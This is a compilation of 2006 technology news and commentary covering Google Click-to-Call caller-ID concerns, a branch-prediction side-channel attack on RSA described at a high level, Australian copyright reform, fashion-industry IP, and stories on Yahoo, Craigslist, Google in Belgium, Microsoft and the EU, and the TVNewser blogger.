Up to now, the typical available avenue for manipulating caller-ID has been pay services that tended to limit the potential for largescale abuse since users are charged for access. Google, by providing a free service that will place calls and manipulate caller-ID, vastly increases the scope of the problem. Scale matters.

Google has not vetted this caller-ID feature sufficiently, and I urge its immediate reconsideration.
http://lauren.vortex.com/archive/000200.html

Proposed Solution For Google's "Click-to-Call" Caller-ID Problem

Greetings. In a recent blog entry, I discussed my concerns about Google's new "Click-to-Call" service, especially key issues regarding Google's handling of caller-ID in this service.

Now I'd like to propose a specific solution.

I completely understand why Google likes their caller-ID feature. It's a cute hack (hack in the positive sense), and in the context of non-abusive use brings some value-added. But I really believe that this is one of those cases where somebody needed to get beyond the "gee-whiz isn't this nifty" factor and consider more carefully how it will be abused, particularly on the large free-access scale that Google provides. Even if the vast majority of the calls are legit, the absolute number of abuses is bound to be high, and it seems certain that innocents will be hurt in significant numbers -- there are a lot of jerks in the world who are going to take advantage of this service to get their jollies or take revenge on businesses that they have a gripe with, etc.
However, there is indeed a simple solution in this case. If the caller-ID delivered to both sides of the bridged calls is set to indicate the true source of the calls (i.e., Google) the problem goes away. In fact, caller-ID could be used to further enhance the service by providing a true full point of contact.

What I would do is set the caller-ID to display a Google phone number (ideally toll-free) that played a recorded announcement explaining that the call originated from Google Click-to-Call, and noting how to proceed (via a Web page, e-mail address, and/or specific phone number) if you felt that you were being targeted for abuse by a user of that system and wanted to file an associated report. This would be a win-win all around. Google would more rapidly get a handle on abusive users, and the service would be even more consumer friendly.

Sometimes there can be a happy ending!
http://lauren.vortex.com/archive/000201.html





Crypto MoJo

Translation of the article published by Le Monde

Better than BabelFish I hope.. human made, so prone to errors
jackjeff

====

The confidence users have in Internet and in the capacity of the system to secure data has always been relative. And it could collapse if the microprocessor manufacturers and cryptography software editors were to be unable to cope against a new type of attack, fearsomely efficient, discovered by the team directed by the German cryptographer Jean-Pierre Seifert (universities of Haifa and Innsbruck). Electronic commerce could be threatened, but also, more broadly, everything that enables the dematerialization of exchanges, which rely on asymmetrical cryptography applications, would it be ciphers, digital signatures or message integrity checks.

In the still confidential article, the researcher and his colleagues describe the procedure they used to, gather a nearly entire cipher key of 512 bits (a series of as many of 0s and 1s) in a single attempt, that's to say in a few milliseconds. For comparison, the greatest public key that has been broken so far is 640 bits long, and as announced in November 2005, the process involved the usage of 80 microprocessors running at 2.2 Ghz for 3 months.

Since the announcement made this summer, on the International Association of Cryptology Research (IACR), that such an attack was theoretically feasible, microprocessors producers were on their nerves: the chips of nearly all of the computers, world wide, are vulnerable. So much that the head of Intel security, the number 1 microprocessor manufacturer, when confronted with the issue declared that he would be "unavailable for a few weeks". This is because the usual fix against classical attacks on public key cryptography - to increase the size of the keys - will not work this time.

Jean-Pierre Seifert was in fact able to affect the systems from the ground up. As most of the security relies on the incapacity to mathematically deduce the private key, kept secret, from the public one, he chose to study how the microprocessors was reading these confidential data.

He found out that the mode of operation or the chip itself, optimized for calculation speed, was making it vulnerable. "Security was sacrificed for the sake of performance", estimated the researcher.

The attack principle can be summed up as such: to go faster and faster, the microprocessor parallelizes operations and uses a branch prediction system to predict the result of the current operation. If the prediction is good, the computation time is greatly decreased. If not, the processor must go back and start again the elementary operation. It is "sufficient" to measure the computation time when the processor goes through the line of 0s and 1s that constitute the cipher key to able able to deduce it.

This threat, called "Branch Prediction Analysis" (BPA) was already known. It was thought a lot of attempts was necessary to statistically deduce the cipher key, thus making the attack not-practicable. The technique discovered by Jean-Pierre Seifert make it possible to break the key in a single attempt. It relies on the fact that the prediction process, essential to increase the processor speed, is not protected.

A spyware could then be made to listen to the chip discreetly, and send back the key to hackers, foreign intelligence services or competitors.

"A MATTER OF WEEKS"

We are not yet there though. "We have not made a turn key application that would be available online" argues Jean-Pierre Seifert. But he estimates that once the method is made public, in early 2007 during the next RSA conference - RSA, being one of the most popular ciphers -, the making of such software would be "a matter of weeks".

Cryptography specialists confirm that the threat is serious. One of the best world wide public key experts anonymously sums up the situation: "The real solution is to review the conception of the microprocessors itself - a long and difficult process. A short term solution would be to forbid normal applications to run in parallel on sensitive ones, which is hard to achieve in a classical environment. What remains are partial remedies, but they imply to considerably slow down the PC."

Jean-Jacques Quisquater (Catholic University of Louvain, Belgium) remarks that the American military norms have been warning against computation time attacks for a long time. For him, the future is to dedicated processors for security features. "But we won't be there before a few years" he says.

"INTEL MUST BE DESPERATE"

"We well know that the cryptological operations run in a protected enclosure, server side, with a dedicated module are the only one that can be called "very secure", confirms Jacques Stern, director of the the Computer Research lab of l'Ecole normale supérieure, of Paris. A radical and impractical approach for the average net user.

David Naccache (University of Paris-III) acknowledges that "there is no open heart surgery possible": to temper with the prediction module would affect essential features.

On the front line, Intel tersely expresses that the next version of OpenSSL, a free software to secure data, will be up to the threat, by deactivating the prediction module if necessary. "Such an implementation would slow down by four the speed of the microprocessor" declares Jean-Pierre Seifert, "which proves that Intel must be desperate". A former collaborator of Intel and its competitor Infineon, before coming back to public research, Jean-
Pierre Seifert is now working on fixes against the breach he has found. But as these researches are relatively new, he cautions that "it may take a while before we can see clearly".

Certainly the attack he conceived is more difficult to exploit in practice than many of the other stratagems used by hackers, that oblige the editors to produce patches regularly. But in this case, a simple work around will not be enough.
http://it.slashdot.org/comments.pl?s... &cid=16900432





On the Power of Simple Branch Prediction Analysis
Onur Aciicmez and Cetin Kaya Koc and Jean-Pierre Seifert

Abstract.

Very recently, a new software side-channel attack, called Branch Prediction Analysis (BPA) attack, has been discovered and also demonstrated to be practically feasible on popular commodity PC platforms. While the above recent attack still had the flavor of a classical timing attack against RSA, where one uses many execution-time measurements under the same key in order to statistically amplify some small but key-dependent timing differences, we dramatically improve upon the former result. We prove that a carefully written spy-process running simultaneously with an RSA-process, is able to collect during one \emph{single} RSA signing execution almost all of the secret key bits. We call such an attack, analyzing the CPU's Branch Predictor states through spying on a single quasi-parallel computation process, a \emph{Simple Branch Prediction Analysis (SBPA)} attack --- sharply differentiating it from those one relying on statistical methods and requiring many computation measurements under the same key.

The successful extraction of almost all secret key bits by our SBPA attack against an openSSL RSA implementation proves that the often recommended blinding or so called randomization techniques to protect RSA against side-channel attacks are, in the context of SBPA attacks, totally useless. Additional to that very crucial security implication, targeted at such implementations which are assumed to be at least statistically secure, our successful SBPA attack also bears another equally critical security implication. Namely, in the context of simple side-channel attacks, it is widely believed that equally balancing the operations after branches is a secure countermeasure against such simple attacks. Unfortunately, this is not true, as even such ``balanced branch'' implementations can be completely broken by our SBPA attacks. Moreover, despite sophisticated hardware-assisted partitioning methods such as memory protection, sandboxing or even virtualization, SBPA attacks empower an unprivileged process to successfully attack other processes running in parallel on the same processor. Thus, we conclude that SBPA attacks are much more dangerous than previously anticipated, as they obviously do not belong to the same category as pure timing attacks.
http://eprint.iacr.org/2006/351





Chatterbox

Unsecure Computer - No Secrets. Big Deal !
Alsee

problematic for systems used by multiple people

And perhaps more signifigantly, it is problematic for idiots who think the definition of "secure/security" is using some DRM scheme hoping to "secure" a computer against its owner.

The owner of a computer can use the technique in this article to keep an eye on his own computer and track what his computer is doing for him, and to record the DRM-keys being used to "secure" his own data against him.


RSA Isn't Broken, And This Is Localhost Only
tqbf

Aciicmez et al are extending an attack they published a few months ago. It's real, but:

• It targets RSA implementations, not the algorithm, which is fine

• Attackers need to be on the same host as the victim

• This specific attack is tuned to the Pentium 4 architecture

This paper doesn't break SSL.

We wrote about the attack two months ago [matasano.com]. A quick, dumbed-down recap:

The CPU aggressively caches aspects of what programs do. It doesn't make an exception for RSA. You obviously can't just read key bits out of the cache.

But caches are finite, and way, way too small to accomodate everything every program does. So operations from one program are constantly evicting cached values from other programs. This makes the other program imperceptably but measurably slower. By writing a program that constantly and carefully measures those time differences, you can watch an RSA operation from another program leave footprints through the cache.

There are years-old attacks like this against the L1 and L2 caches, and extensions that use hyperthreading to improve the resolution. Some variants, which measure timing differences but don't track cache footprints, are remote attacks. These aren't. You run a "spy" process on the machine; it repeatedly executes a series of operations and measures timing differences. Aciicmez found an overlooked cache which makes Pentium branch prediction work (the BTB). They published back in August.

From what I can tell, this paper extends the attack; they figured out that the Pentium 4 architecture has two BTB caches, and their original attack wasn't hitting both of them. Their new attack does, and that creates much bigger timing differences, making RSA's footprints much easier to see.

This is really cool stuff, but from where I stand, they hit game-over back in August with the original BTB attack. This paper reads like a refined exploit for the same vulnerability.

Since this is localhost-only, and (unlike Bernstein's and Boneh's attacks) can't be extended remote, it's not going to impact SSL or (single-user) SSH. The classic victim of timing attacks is smart cards. For these attacks, another interesting possibility is DRM; these attacks say you can't trust crypto running on the same Pentium 4+ as an attacker.
http://it.slashdot.org/it/06/11/18/2030247.shtml





New Copyright Laws Risk Criminalising Everyday Australians
Press Release

The Internet Industry Association today warned that changes to Australia’s copyright laws being rushed through Parliament risked making criminals out of everyday Australians.

Wednesday, 8 November 2006

New Copyright Laws Risk Criminalising Everyday Australians

The Internet Industry Association today warned that changes to Australia’s copyright laws being rushed through Parliament risked making criminals out of everyday Australians.

The IIA which represents a broad range of internet businesses in Australia, in conjunction with the QUT Law Faculty Intellectual Property Research Program, has identified a number of scenarios which could trip up Australians in their everyday use of copyrighted materials.

Said IIA chief executive, Peter Coroneos: “We can’t be sure if this is the government's intent, or whether there has been a terrible oversight in the drafting of this Bill. Either way, the consequences for the average Australian family could be devastating.”

“As an example,” said Mr Coroneos, “a family who holds a birthday picnic in a place of public entertainment (for example, the grounds of a zoo) and sings ‘Happy Birthday’ in a manner that can be heard by others, risks an infringement notice carrying a fine of up to $1320. If they make a video recording of the event, they risk a further fine for the possession of a device for the purpose of making an infringing copy of a song. And if they go home and upload the clip to the internet where it can be accessed by others, they risk a further fine of up to $1320 for illegal distribution. All in all, possible fines of up to $3960 for this series of acts – and the new offences do not require knowledge or improper intent. Just the doing of the acts is enough to ground a legal liability under the new ‘strict liability’ offences.”

The IIA will next week release a series of ‘risk matrices’ showing how Australians could inadvertently risk heavy fines and even jail under the new copyright regime.

On Monday, the IIA will release a risk matrix showing how teenagers from the age of 14 years will risk crippling fines and damage to their employment prospects by engaging in activities which many would today regard as commonplace.

On Tuesday, the IIA will release a risk matrix which will exemplify how an average Australian family could sustain massive fines as a consequence of the operation of these laws.

On Wednesday, the IIA will show how a small business could inadvertently expose itself to substantial penalties by engaging in activities that to date have not attracted criminal penalties.

On Thursday, the IIA will demonstrate the risks to ISPs and the emerging digital economy in Australia and how the new laws will disadvantage us when compared to other ‘technology friendly’ nations.

“We have gone over and over our legal analysis, with the assistance of legal academics and regulatory experts. Not only can we see no justification for the severity of the penalties, but the complexity of the new laws will make it extremely difficult for everyday Australians to avoid a potential liability – and when the level of penalties which attach to the new offences is understood, the scenarios are pretty terrifying,” Mr Coroneos said.

Professor Brian Fitzgerald, head of the School of Law at QUT added his concern: “We assume the new broad ranging laws will be enforced. If the Government intends that they are not, then we’d be wanting to know why the provisions have not been more carefully drafted to target commercial scale piracy rather than Australian families.”

“The fact that the Government is intent on pushing these amendments through so fast is very disturbing. The Bill passed the House of Representatives last week and is due to become law in mid December, with commencement on 1 January 2007,” Professor Fitzgerald said.

Mr Coroneos underlined the IIA’s position: “We fully understand the need to protect copyright - our submission to the Senate Committee begins with that proposition. The internet needs content and content creators need incentives to create. But these amendments are overkill and risk delivering a host of unintended consequences at a time when no other country in the world has criminal sanctions for non commercial scale infringements.”

“The US Free Trade Agreement does not require Australia to go down this path, and neither US nor European law contain such far reaching measures. We at a total loss to understand how this policy has developed, who is behind it and why there is such haste in enacting it into law – with little if any public debate.”
http://www.iia.net.au/index.php?opti...=517&Itemid=32





Why Does the Fashion Industry Thrive in Spite of Rampant IP "Piracy"?
Jon Stokes

In a forthcoming Virginia Law Review paper, entitled "The Piracy Paradox: Innovation and Intellectual Property in Fashion Design," two law professors investigate how the fashion industry manages to thrive despite rampant copying of clothing designs.

The paper's authors, Kal Raustiala of the University of California, and Chris Sprigman, start by observing that the fashion industry has what they term a "low-IP equilibrium," in which clothing designs enjoy almost no copy protection and designers frequently turn large profits by copying each others' work. In spite of the lack of IP protection for clothing designs—or rather, because of this lack, the authors argue—the fashion industry remains vibrant and profitable, exhibiting none of the negative effects on creativity that advocates of strong intellectual property (IP) rights would predict in the absence of government-enforced monopolies on creative "content."

Part of the overall reason for undertaking this investigation of the fashion industry is to question the standard assumptions about the relationship between intellectual property laws and incentives to create that underly all of modern intellectual property law. The standard theory goes that if a creator's exclusive right to profit from the distribution of her work is not protected by law, then creators will lose the incentive to create, as "free riders" drive down the price of the work by filling the market with copies.

This theory may hold true for books (the original "intellectual property" of Renaissance IP debates), inventions, and music, but it's apparently a poor fit for the fashion industry. If it weren't for widespread copying of clothing and accessory designs, there would be no such thing as a "fashion trend." The fashion industry, it seems, has settled into a relatively stable state (an equilibrium) in which a large amount of intellectual property "piracy" effectively drives the market.

Note: I'm going to keep putting the word "piracy" in those annoying scare-quotes because it's a terrible term for IP infringement. If pirates hijack a shipload of cannonballs in the Mediterranean, then the owners of that shipment are now short a few tons of cannonballs. If I download a copy of a song from a P2P service, then the owner of that IP may be out some money (assuming I would otherwise have bought that track elsewhere), but they're still in possession of the IP for the song; I haven't taken anyone's property from them, and it's not even clear that I've cost them any money if I wouldn't otherwise have purchased the track. Infringement, though illegal and possibly costly to an IP owner, does not equal piracy or theft, and the misuse of the term in this paper is unfortunate.

Anyway, Raustiala and Sprigman locate the roots of the fashion industry's successful low-IP equilibrium in two factors: induced obsolescence and anchoring.
Induced obsolescence

Because clothing is closely tied to status, especially in the realm of fashion, every design eventually becomes obsolete (i.e. it goes out of style) when it loses its ability to confer status on the wearer. When is something well and truly out of style? When everybody is wearing it, and that's where the open nature of fashion copying helps drive the fashion market. The authors write:

As Miucci Prada put it recently, "We let others copy us. And when they do, we drop it." The fashion cycle is driven faster, in other words, by widespread design copying, because copying erodes the positional [ed: or "status-conferring"] qualities of fashion goods. Designers in turn respond to this obsolescence with new designs. In short, piracy paradoxically benefits designers by inducing more rapid turnover and additional sales... What was elite quickly becomes mass.

So rampant, unauthorized copying drives the fashion cycle, and in doing so it spurs designer creativity; this is the opposite of what the standard assumptions about the relationship between unauthorized copying and incentives to create would predict.

It's important to include the authors' caveat about the importance of trademark law in this scheme. A genuine Prada purse confers more status than a Prada knock-off, so designers must protect their trademarks aggressively, even if they don't protect the designs to which those marks are attached.
Anchoring

The second phenomenon that Raustiala and Sprigman identify at the root of the fashion industry's low-IP success is what they call anchoring. Anchoring describes the process by which the industry converges on a few major design themes, or trends, during a fashion season—whether skirts are fitted or flowing, or cuffs are wide or slim, and so on. Anchoring is also the mechanism by which the fashion industry signals to consumers that trends have changed, and it's time to update the wardrobe.

While the industry produces a wide variety of designs at any one time, readily discernible trends nonetheless emerge and come to define a particular season's style. These trends evolve through an undirected process of copying, referencing, receiving input from consultants, testing design themes via observation of rivals' designs at runway shows, communication with buyers for key retailers, and coverage and commentary in the press.

Copying helps to anchor the new season to a limited number of design themes, which are freely workable by all firms in the industry within the low-IP equilibrium. A regime of free appropriation helps emergent themes become full-blown trends; trendy consumers follow suit. Anchoring thus encourages consumption by conveying to consumers important information about the season's dominant styles: suits are slim, or roomy; skirts are tweedy, or bohemian; the hot handbag is small, rectangular, and made of white-stitched black leather, and so forth. Thus anchoring helps fashion-conscious consumers understand (1) when the mode has shifted, (2) what defines the new mode, and (3) what to buy to remain within it.


So unrestrained copying not only drives the production of new designs by making older designs obsolete, but it also helps shape the new designs around themes so that consumers can easily identify what looks are "in" or "out" at the moment.

What does this mean for Big Content's crusade against peer-to-peer copying?

Probably not much, at least in the near term. The two phenomena identified above are at the very least peculiar to markets involving "positional goods," and may well be peculiar to the fashion industry in particular. The models developed in the paper aren't really that generalizable to other IP regimes, and the authors acknowledge as much.

Nonetheless, the paper may be a good first step in moving beyond traditional, blanket assumptions about the relationship between copying and innovation, and it may spur legal scholars to develop more detailed models of intellectual property that fit specific industries. The paper also suggests that when technological and market conditions change dramatically, as they have in the wake of the P2P revolution, the relationship between unauthorized copying and incentives to create may change dramatically as well.
http://arstechnica.com/news.ars/post/20061124-8283.html





Yahoo to Team With Over 150 Newspapers
AP

Yahoo Inc. announced a deal with seven newspaper companies that will allow more than 150 papers to sell ads on the search engine's online classified service.

Monday's announcement comes just two weeks after Google said it had brokered a similar deal with 50 top newspapers to sell ads through its Web site. The moves could help the struggling newspaper industry increase lagging ad revenue.

The companies that have signed on with Yahoo include Cox Newspapers Inc., Belo Corp., Hearst Corp., the E.W. Scripps Co., MediaNews Group Inc., Lee Enterprises and the Journal Register Co. They publish newspapers in 38 states, including the San Francisco Chronicle, Denver Post, Houston Chronicle and The Dallas Morning News.

The partnership will start in December with Yahoo's HotJobs service. Yahoo also plans on working with the consortium to provide search, content and local applications across the participating newspapers' Web sites.

"Most local newspapers have done a pretty good job of generating local revenue into sites," said Leon Levitt, vice president for digital media for Cox Newspapers. "It's so much harder to generate national revenue because a lot of advertisers don't want to deal with 100 different newspapers. This will make it simple."

Dean Singleton, CEO of MediaNews, said the newspaper companies and Yahoo will share any extra revenue.

Under Google's deal, Google will not collect any revenue during a three-month test period, but when the system is formally introduced next year, it will take a cut.

The Yahoo program will enable advertisers who list jobs in any of the consortium's newspapers to post their jobs on Yahoo! HotJobs and throughout the Yahoo network. Advertisers will be able to use contextual, streaming and interactive media.

The newspapers' online career sections also will be powered by Yahoo! HotJobs and co-branded between Sunnyvale-based Yahoo and the local newspaper.

Hilary Schneider, senior vice president of marketplaces for Yahoo, said the arrangement provides "an enormous database of additional job listings" and gives local newspapers a wider audience.

Financial terms weren't released.
http://hosted.ap.org/dynamic/stories...11-20-08-56-10





Craigslist Not Liable for Housing Ads: Judge
Mike Hughlett

The popular Craigslist Web site is not legally liable for allegedly discriminatory housing ads posted by its users, a federal judge in Chicago ruled in a case pitting landmark internet and fair housing laws against each other.

The decision was a victory for online civil liberties supporters. It was a setback for housing civil rights advocates, though they still found some hope in the judge's ruling.

The Chicago Lawyers' Committee for Civil Rights Under Law sued San Francisco-based Craigslist in February, claiming that during a six-month period, the site published more than 100 housing ads in Chicago that violated the federal Fair Housing Act.

Those ads included such declarations as "Non-women of Color NEED NOT APPLY" and "African Americans and Arabians tend to clash with me so that won't work out."

The 1968 Fair Housing Act bars housing discrimination, and newspapers and other publishers of ads deemed discriminatory can be held liable for violating the law.

But the 1996 Communications Decency Act (CDA), in an attempt to promote unfettered free expression online, shields web forums from liability for ads and opinions posted by their users.

That's what Craiglist argued in its defense in the Chicago case, and it was joined in friend-of-the-court filings by such Internet giants as Amazon.com, eBay, Google, Yahoo! and AOL.

The Chicago Lawyers' Committee has a heavyweight ally, too, though not through a formal court briefing. The U.S Department of Housing and Urban Development has said the ban on discriminatory ads applies to Web postings like those on Craigslist.

The battle boils down to the definition of a publisher.

The CDA says that a provider of an "interactive computer service" can't be treated as a publisher of information it gets from others.

Craigslist is indeed an interactive computer service, a conduit of information provided by others, Judge Amy St. Eve said in a written opinion that effectively dismisses the case. Thus, under the 1996 communications law, Craigslist can't be treated as a publisher, she wrote in the decision, which was filed Tuesday and then circulated Wednesday by attorneys involved in the case.

The Chicago Lawyers' Committee plans to appeal St. Eve's ruling, or to ask the judge to reconsider her decision.

In a statement, Craigslist said St. Eve's decision is "a win for the general public's ability to self-publish content such as free classified ads on the Internet." Craigslist noted, too, that it has "industry leading standards" in policing its site for offensive ads.

Internet law experts weren't surprised by St. Eve's decision, because judges have usually ruled in favor of web forums like Craigslist, citing the CDA's broad protection.

"It's very clear under these precedents that Craigslist shouldn't be held liable for ads provided by third parties," said Kurt Opsahl, a lawyer with the Electronic Frontier Foundation, a technology and civil liberties group.

The organization filed a friend-of-the-court briefing on behalf of Craigslist.

The Chicago Lawyers' Committee took solace in parts of St. Eve's opinion.

Craigslist argued that the CDA grants it immunity from any sort of lawsuit stemming from its users' postings. Web outfits like Craigslist have commonly made such claims of "unlimited" immunity — and judges have usually agreed.

But not St. Eve. "We are heartened by fact that (St. Eve) forcefully rejected the unlimited immunity advocated by Craigslist," said Laurie Wardell, fair housing director for the Chicago Lawyers' Committee.

St. Eve wrote that online forums like Craigslist are immune from legal liability only if they are treated as publishers of third party content.

While that may sound like splitting hairs, Internet legal experts say it opens the door for creative lawyers. St. Eve's ruling implies that online forums can be liable for third-party postings for reasons other than being a publisher, though they could not cite a good example of another avenue of legal pursuit.

It's not easy to pursue a claim against a site like Craigslist without acknowledging publication, said Jim Speta, a communications law expert at Northwestern University's Law School. But it's probably possible, he said.

Opsahl said the concept of broad immunity will still hold sway nationally: It has been agreed upon by appellate judges in three court circuits.

However, if an appellate court upholds St. Eve's reasoning, there will effectively be two clashing standards, he said.
http://www.chicagotribune.com/news/c...ck=1&cset=true





Court to Hear Google-Newspaper Fight
Aoife White

A Belgian court on Friday will hear Google Inc.'s defense against local newspaper complaints that it stole content from their Web sites without paying them or asking their permission.

This will be the first time Google argues its case after the Brussels-based Court of First Instance ordered the California-based company to remove Belgian French-language newspaper content from its news index, threatening daily fines of 1 million euros ($1.28 million).

Google failed to appear at an earlier hearing that led up to that ruling and asked for another opportunity to defend itself against the charges made by Copiepresse, a copyright protection group representing the country's French-language editors.

Copiepresse had claimed that Google ignored its original requests to remove content. It said it had a much happier experience with Microsoft Corp.'s MSN Belgian site, entering talks to find a solution.

Google's French- and Dutch-language Belgian news pages are now empty of much local content, largely containing reports from news agencies, news Web sites and foreign newspapers.

Google spokeswoman Jessica Powell said the company had complied with the ruling when it received it in mid-September, stripping out Belgian newspaper content from Google News and publishing the entire text of the judgment on its home page.

"We're glad to have the opportunity to argue the substance," she said. "We think that search engines are real benefit to publishers and drive valuable traffic to their Web sites."

The popular news site features small photos and excerpts from news reported elsewhere with links to entire articles hosted on news providers' own Web sites.

Google said its service is lawful and drives traffic to newspaper sites because people need to click through to the original publisher to read the full story. It now displays stories from news agencies, foreign newspapers and Internet sites belonging to local television stations.

Powell said the Internet search company strenuously tries to give newspapers the opportunity to be excluded from the site if they want, by telling the robots.txt information gatherer to avoid certain content and also by alerting Google directly if they want to keep their content off the site.

The company also tried to calm publishers' fears this month by releasing Sitemaps, a tool that aims to give Web sites more control over what content they do or don't want included in Google News. It is currently only available to English-language publishers.

Newspapers are working in a similar direction with the World Association of Newspapers launching a yearlong project to help Web sites decide what they want listed in search engines.

Google News, which debuted in 2002, scans thousands of news outlets and highlights the top stories under common categories such as world and sports. Many stories carry a small image, or thumbnail, along with the headline and the first sentence or two. Visitors can click on the headline to read the full story at the source Web site.

The French news agency AFP sued Google for at least $17.5 million (13.8 million euros) in damages in U.S. District Court in Washington, D.C., arguing that the Google service adds little value because its news site looks much like those of AFP subscribers, albeit one where software and not human editors determine the placement of stories on a page.

Separately, Google has agreed to pay The Associated Press for stories and photographs. Neither Google nor New York-based AP have disclosed financial terms or other details because of a nondisclosure agreement.
http://hosted.ap.org/dynamic/stories...11-23-12-30-25





Microsoft Makes Deadline on Windows Info
Aoife White

European Union regulators said Microsoft Corp. handed in on time to meet a Thursday deadline information about its Windows operating software that should help other software companies.

The data will now be tested to confirm that the company has finally complied with a 2004 antitrust ruling.

The European Commission, which fined Microsoft 280.5 million euros ($357 million) in July for not providing the "complete and accurate" data to allow server software to interface with Windows, said the technical manual can now be reviewed by "potential licensees" - companies who compete with Microsoft in making software for workgroup servers, such as Sun Microsystems Inc., Novell Inc., International Business Machines Corp. among others.

"In parallel the monitoring trustee will test the documentation in order to verify its accuracy," it said.

"The commission will decide in due course whether or not Microsoft is in compliance with the obligation to provide complete and accurate technical documentation taking into account comments from the potential licensees and advice from the trustee."

EU spokesman Jonathan Todd said this would likely take "months rather than weeks."

Regulators threatened new fines of 3 million euros ($3.87 million) a day last week if Microsoft did not patch up "the remaining omissions and deficiencies." They said the company should have handed over a good set of documents explaining how server protocols work by an original July 2004 deadline.

The software maker was ordered to provide the information after the EU found it guilty of abusing its monopoly by deliberately withholding technical data from rivals, who alleged that Microsoft ended cooperation when it started making its own server software.

Microsoft challenged the immediate sanctions but a judge ordered it to comply in December 2004. It also said the commission's request was unclear and it only received a useful set of guidelines when independent monitor Neil Barrett set out a work program earlier this year.

The company said Thursday's decision was an important milestone.

"The trustee and Microsoft have now completed the technical review and edits to the more than 100 documents, totaling 8,500 pages, that we submitted in July of this year, in accordance with the deadline established by the commission," it said in a statement.

"We will continue to work closely with the commission and the trustee to ensure that we are in full compliance with every aspect of the commission's decision."

The EU fined Microsoft a record 497 million euros ($613 million) in March 2004 and told it both to share interoperability information with rivals and put on sale a copy of Windows without Media Player software.

These conditions will apply to all future versions of Windows - including the upcoming Vista operating system.

Regulators also highlighted other possible antitrust problems with Vista's wide range of functions, fueled by comments from other information technology companies, warning that Microsoft must take care not to abuse its dominant position by muscling into other markets.
http://hosted.ap.org/dynamic/stories...11-23-10-13-11





The Kid With All the News About the TV News
Julie Bosman

When people in the television news business want to find out what’s going on in their industry, they turn to a blog called TVNewser. But while the executives obsessively checking TVNewser are mostly high powered and highly paid, the person who creates it is not: he is Brian Stelter, a baby-faced 21-year-old at Towson University here, a few miles north of Baltimore.

“I’ve heard people joke that when TVNewser is dormant, the kid had a final or a big family dinner that he couldn’t get out of,” said Brian Williams, the NBC news anchor and a TVNewser devotee. “People from entry level to high and mighty check in on it.”

When his postings dropped off last month after his girlfriend dumped him, Mr. Stelter found himself fielding complaints from powerful network executives about when he was going to get over his romantic travails and get back on track. “I was dealing with drama,” he said.

Mr. Stelter’s blog (tvnewser.com), a seven-day-a-week, almost 24-hour-a-day newsfeed of gossip, anonymous tips, newspaper article links and program ratings, has become a virtual bulletin board for the industry.

It is read religiously by network presidents, media executives, producers and publicists, not for any stinging commentary from Mr. Stelter, whose style is usually described as earnest, but because it provides a quick snapshot of the industry on any given day. Habitués include Mr. Williams and Jonathan Klein, the president of CNN’s domestic operations, who long ago offered up his cellphone number to Mr. Stelter.

“The whole industry pays attention to his blog,” said Jeffrey W. Schneider, a senior vice president of ABC News. “It would not surprise me if I refreshed my browser 30 to 40 times a day.”

In April Mr. Stelter attended the White House Correspondents’ Dinner as a guest of MSNBC.

“He was quite a celebrity,” said Jeremy Gaines, a spokesman for MSNBC. “Literally two tables over was George Clooney, and at our table was TVNewser, and people were waiting in line to see him.”

Perhaps this is what the techno-geeks had in mind when they invented the Internet — a device to squash not only time and space, but also social class and professional hierarchies, putting an unprepossessing Maryland college student with several term papers due in a position to command the attention and grudging respect of some of society’s most famous and powerful personalities.

Or maybe it just worked out that way.

Mr. Stelter chronicles the gossipy New York-Hollywood television industry from the tiny, leafy campus at Towson, where he is a senior majoring in mass communication (he has a 3.5 grade-point average) and the editor of the student newspaper. He started the blog in 2004 on a whim during winter break, and not long after he was hired by a journalism Web site to keep it going. These days, by 9 a.m. he is awake and blogging, sometimes in class, courtesy of a campuswide Wi-Fi connection, as well as from his apartment, the student union and his cluttered desk in a corner of the newspaper office.

Mr. Stelter has earned the grudging trust of many of his readers, who e-mail him hundreds of tips a day that often translate into scoops, like the early warning that Peter Jennings, the former ABC News anchor, was near death or, more recently, the discovery of a Photoshopped publicity shot of Katie Couric, the “ CBS Evening News” anchor, that made her appear a dress size or two smaller.

How much does television care about Mr. Stelter’s little blog?

“The biggest TV executives, the men and women who run the top networks, look at this kid’s Web site all the time,” said Joe Scarborough, the host of the talk show “Scarborough Country” on MSNBC. “And the genius of it is that everybody thinks they own him. Everybody says: ‘Oh, I’ve got a great relationship with Brian. Let me leak it to him.’ ”

Mr. Klein, certainly one of the most powerful figures in the business, telephoned Mr. Stelter one Sunday during Hurricane Dennis in the summer of 2005 to make sure he was tuned in to a report by Rick Sanchez. “He was saying: ‘Are you watching this? Isn’t this great?’ ” Mr. Stelter said. (He promptly blogged about it, writing, “CNN correspondent Rick Sanchez may become the star of this storm.”)

One evening in March 2005 Mr. Klein interrupted a bedtime-story session with his children to give a quote to Mr. Stelter. But the two have also had the occasional clash. After Mr. Klein admonished employees during an editorial meeting last year for leaking stories — presumably to Mr. Stelter — notes of the meeting were promptly leaked to TVNewser.

The network publicists generally know his class schedule — afternoons on Tuesdays and Thursdays — and barrage him with material, which they often expect him to post within minutes. While recording a radio segment for one of his classes — Mass Communication 381 — he turned his cellphone off for 15 minutes, then turned it back on to find one nagging voice mail message from an ABC publicist and another from CNN.

Mr. Stelter originally started the blog under the name Cablenewser. He concealed his identity so that his growing audience would take him seriously. “People thought I was a bald, disgruntled 40-something executive,” he said. “I think I’m balding, but that’s it.”

In July 2004 he was hired by Mediabistro.com, a journalism Web site that runs a number of popular blogs. (Mr. Stelter declined to disclose his salary, but he has said before that it is more than enough to cover his college expenses.) Since then his audience has expanded substantially — the site had 821,000 page views in October 2006, up from 150,000 in July 2004. In September, thanks to Ms. Couric’s premiere at CBS, TVNewser had record traffic of 1.2 million page views.

Growing up in Damascus, Md., Mr. Stelter watched the news addictively. He recalls watching Mr. Williams, who was then at MSNBC, reporting on the crash of T.W.A. Flight 800, the death of Diana, Princess of Wales, and the revelation that President Bill Clinton was entangled with Monica Lewinsky. Meanwhile, Mr. Stelter practiced his “newscaster voice” and harbored anchor-size ambitions of his own.

“I always thought I would be the person who sat in the chair for 12 hours,” Mr. Stelter said. “Then I realized there are only three people who do that job.”

He finally got to meet Mr. Williams last year when he came to New York to attend a memorial service for Mr. Jennings. Mr. Williams invited him to sit in on his broadcast’s 2:30 p.m. editorial meeting, and the two talked privately for a half-hour.

“I’ve always regarded him as the De Niro character in ‘The King of Comedy,’ ” Mr. Williams said, invoking the 1983 film whose lead character, Rupert Pupkin, is a talentless comic who stalks his talk-show idol. “He has kind of a Rupert Pupkinesque double life.”

